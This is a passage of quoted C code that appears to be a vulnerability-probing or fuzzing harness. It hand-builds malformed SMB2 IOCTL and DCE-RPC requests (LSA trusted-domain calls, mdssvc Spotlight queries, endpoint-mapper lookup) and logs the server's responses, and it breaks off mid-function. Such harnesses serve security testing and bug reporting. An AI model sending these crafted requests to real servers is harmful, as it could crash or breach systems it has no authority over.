> // ObjectAttribute > *(int*)(buf+ii) = 1; // len > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_root_dir > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_object_name > ii += 4; > *(int*)(buf+ii) = 0xffffffff; // attributes > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_sec_desc > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_sec_qos > ii += 4; > > ii += 4; // root_dir? > > // object_name > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > ii = ii1 + 92; // access_mask > *(long *)(buf + ii) = 0x02000000; > ii += 4; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc SetInfoPolicy writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc SetInfoPolicy response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_lsa_SetTrustedDomainInfoByName(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x31; // opnum, SetTrustedDomainInfoByName > ii += 2; > > int after_opnum = ii; > > memcpy(buf + ii, lsa_handle, sizeof(lsa_handle)); > ii += sizeof(lsa_handle); > > int ii1 = ii; > > // trusted_domain name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(short*)(buf+ii) = 8; // level > ii += 2; > *(short*)(buf+ii) = 8; // level > ii += 2; > > // TrustDomainInfoFullInfo > > // TrustDomainInfoInfoEx > > // domain_name StringLarge SCALARS > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_string > ii += 4; > > // netbios_name StringLarge SCALARS > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_string > ii += 4; > > *(int*)(buf+ii) = 16; // _ptr_sid > ii += 4; > > *(int*)(buf+ii) = 0; // trust_direction > ii += 4; > > *(int*)(buf+ii) = 0; // trust_type > ii += 4; > > *(int*)(buf+ii) = 0; // trust_attributes > ii += 4; > > // TrustDomainInfoPosixOffset > *(int*)(buf+ii) = 0; // posix_offset > ii += 4; > > // TrustDomainInfoAuthInfo > *(int*)(buf+ii) = 1; // incoming_count > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_incoming_current_auth_info > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_incoming_previous_auth_info > ii += 4; > *(int*)(buf+ii) = 1; // outgoing_count > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_outgoing_current_auth_info > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_outgoing_previous_auth_info > ii += 4; > > //printf("... %d\n", ii - after_opnum); > > // now for BUFFERS > //ii = after_opnum + 108; // XXX > > // domain_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // netbios_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > ii += 196; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc SetInfoPolicy writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc SetInfoPolicy response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_lsa_CreateTrustedDomain(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x0c; // opnum, CreateTrustedDomain > ii += 2; > > int after_opnum = ii; > > memcpy(buf + ii, lsa_handle, sizeof(lsa_handle)); > ii += sizeof(lsa_handle); > > int ii1 = ii; > > // DomainInfo > > // name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_string > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_sid > ii += 4; > // name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // sid > *(int*)(buf+ii) = 2; // num_auths > ii += 4; > buf[ii++] = 1; // rev_num > buf[ii++] = 2; // num_auths > ii += 6; // id_auth > *(int *)(buf+ii) = 32; // auths[0] > ii += 4; > *(int *)(buf+ii) = 32; // auths[1] > ii += 4; > > ii += 64; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc CreateTrustedDomain writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc CreateTrustedDomain response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_lsa_CreateTrustedDomainEx2(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[1024]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x3b; // opnum, CreateTrustedDomainEx2 > ii += 2; > > int after_opnum = ii; > > // policy_handle > memcpy(buf + ii, lsa_handle, sizeof(lsa_handle)); > ii += sizeof(lsa_handle); > > int ii1 = ii; > > // DomainInfoEx > > // domain_name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_string > ii += 4; > // netbios_name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_string > ii += 4; > *(int*)(buf+ii) = 16; // _ptr_sid > ii += 4; > > *(int*)(buf+ii) = 1; // trust_direction > ii += 4; > *(int*)(buf+ii) = 2; // trust_type > ii += 4; > *(int*)(buf+ii) = 0; // trust_attributes > ii += 4; > > // domain_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // netbios_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // sid > *(int*)(buf+ii) = 2; // num_auths > ii += 4; > buf[ii++] = 1; // rev_num > buf[ii++] = 2; // num_auths > ii += 6; // id_auth > *(int *)(buf+ii) = 32; // auths[0] > ii += 4; > *(int *)(buf+ii) = 32; // auths[1] > ii += 4; > > // AuthInfoInternal -- DATA_BUF2 -- auth_blob -- TrustDomainPasswords > int bsize = 512 + 128; > *(int *)(buf+ii) = bsize; // size > ii += 4; > *(int *)(buf+ii) = bsize; // _ptr_data > ii += 4; > *(int *)(buf+ii) = bsize; // array_size > ii += 4; > int blob0 = ii; > ii += 512; // confounder > *(int *)(buf+ii) = 32; // subcontext_size > ii += 4; > ii = blob0 + bsize - 8; > *(int *)(buf+ii) = 48; // outgoing_size > ii += 4; > *(int *)(buf+ii) = 48; // incoming_size > ii += 4; > > ii += 64; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc CreateTrustedDomainEx2 writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc CreateTrustedDomainEx2 response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >char mds_handle[20]; > >void >smb_ioctl_rpc_mdssvc_open(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[8192]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x00; // opnum > ii += 2; > > *(int*)(buf+ii) = 0; // device_id > ii += 4; > *(int*)(buf+ii) = 0; // unkn2 > ii += 4; > *(int*)(buf+ii) = 0; // unkn3 > ii += 4; > > // share_mount_path > *(int*)(buf+ii) = 1025; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 1025; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > ii += 1023; > > while(ii % 4) > ii++; > > // share_name > *(int*)(buf+ii) = 1025; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 1025; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > ii += 1023; > > ii += 32; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc mdssvc_open writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc mdssvc_open response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > memcpy(mds_handle, buf + cc - 20, 20); > printf("mds_handle: "); > for(int i = 0; i < sizeof(mds_handle); i++) > printf("%02x ", mds_handle[i] & 0xff); > printf("\n"); > } >} > >void >smb_ioctl_rpc_mdssvc_cmd(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[8192]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x02; // opnum, 2=cmd > ii += 2; > > memcpy(buf + ii, mds_handle, sizeof(mds_handle)); > ii += sizeof(mds_handle); > > *(int*)(buf+ii) = 0; // unkn1 > ii += 4; > *(int*)(buf+ii) = 0; // device_id > ii += 4; > *(int*)(buf+ii) = 0; // unkn3 > ii += 4; > *(int*)(buf+ii) = 0; // unkn4 > ii += 4; > *(int*)(buf+ii) = 0; // flags > ii += 4; > > // set up for spotlight/mds search message blob > > unsigned long ndata = 64; > unsigned long ntotal = ndata + 32; > unsigned long blob_bytes = ntotal * 8 + 16; > > *(int*)(buf+ii) = blob_bytes; // length > ii += 4; > *(int*)(buf+ii) = blob_bytes; // size > ii += 4; > *(int*)(buf+ii) = blob_bytes; // _ptr_spotlight_blob > ii += 4; > *(int*)(buf+ii) = blob_bytes; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = blob_bytes; // length > ii += 4; > > *(long*)(buf + ii + 8) = ((1+ndata) << 32) | (1+ntotal); // data items, total items > > char *base = buf + ii + 8 + 8; > int index = 0; // 8-byte units > int toc_start = ndata; > int toc_index = 0; > > // tag->type = (val & 0xffff0000) >> 16; > // tag->count = val >> 32; > // tag->size = (val & 0xffff) * 8; > // tag->length = tag->count * 8; > // 0100 SQ_TYPE_BOOL > // 0200 SQ_TYPE_COMPLEX > // 8400 SQ_TYPE_INT64 > // 8800 SQ_TYPE_TOC > // 0a00 SQ_CPX_TYPE_ARRAY > // 0c00 SQ_CPX_TYPE_STRING > // 1a00 SQ_CPX_TYPE_CNIDS > > >#define WWW(ind, type, count, size) { \ > *(long *)(base + 8*(ind)) = ((unsigned long)(count) << 32) | ((unsigned long)(type) << 16) | (size); \ > } >#define PUSH_TOC(type, count, size) { \ > WWW(toc_start + toc_index, type, count, size); \ > toc_index += 1; \ > } >#define PUSH_DATA(type, count, size) { \ > WWW(index, type, count, size); \ > index += 1; \ > } >#define PUSH_ARRAY(n) { \ > PUSH_DATA(0x0200, toc_index, 1); \ > PUSH_TOC(0x0a00, n, 1); \ > } >#define PUSH_STRING(s) { \ > int len = strlen(s); \ > PUSH_DATA(0x0200, toc_index, 1); \ > PUSH_TOC(0x0c00, 1, 1); \ > PUSH_DATA(0, len, (len+7)/8 + 1); \ > memcpy(base + index*8, (s), len); \ > index += (len+7)/8; \ > } >#define PUSH_INT64(x) { \ > PUSH_DATA(0x8400, 1, 2); \ > *(long*)(base + 8*index) = (x); \ > index += 1; \ > } >#define PUSH_CNID(cnid) { \ > PUSH_DATA(0x0200, toc_index, 1); \ > PUSH_TOC(0x1a00, 1, 1); \ > PUSH_DATA(0, 1, 2); \ > *(long*)(base + 8*index) = 1; \ > index += 1; \ > *(long*)(base + 8*index) = (cnid); \ > index += 1; \ >} > > PUSH_TOC(0x8800, 0, 1); > > // outer array > PUSH_ARRAY(2); > > // inner array > PUSH_ARRAY(3); > > // command name > PUSH_STRING("openQueryWithParams:forContext:"); > > PUSH_INT64(0); > PUSH_INT64(0); > > // array for key/value >#if 0 > PUSH_INT64(0xdeadbeef12345678ull); // mimic smx118c.c >#else > PUSH_ARRAY(8); > PUSH_STRING("kMDQueryString"); > PUSH_STRING("!@#$%^&*():{}'[]|\\"); > PUSH_STRING("kMDScopeArray"); > PUSH_ARRAY(1); > PUSH_STRING("xyz"); > PUSH_STRING("kMDAttributeArray"); > PUSH_ARRAY(2); > PUSH_STRING("a"); > PUSH_STRING("b"); > PUSH_STRING("kMDQueryItemArray"); > PUSH_ARRAY(1); > PUSH_CNID(99); >#endif > > while(index < toc_start) > PUSH_DATA(0x0100, 1, 1); > > printf("index %d toc_start %d, toc_end %d ntotal %ld\n", > index, toc_start, toc_start + toc_index, ntotal); > > assert(index <= toc_start); > assert(toc_start + toc_index <= ntotal); > > ii += blob_bytes; > > *(int*)(buf+ii) = 5; // unkn5 > ii += 4; > *(int*)(buf+ii) = 512; // max_fragment_size1 > ii += 4; > *(int*)(buf+ii) = 6; // unkn6 > ii += 4; > *(int*)(buf+ii) = 512; // max_fragment_size2 > ii += 4; > *(int*)(buf+ii) = 7; // unkn7 > ii += 4; > *(int*)(buf+ii) = 8; // unkn8 > ii += 4; > > > ii += 64; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc mdssvc_cmd writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc mdssvc_cmd response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_epm_Lookup(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x02; // opnum, 0x02=Lookup > ii += 2; > > ii += 64; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > 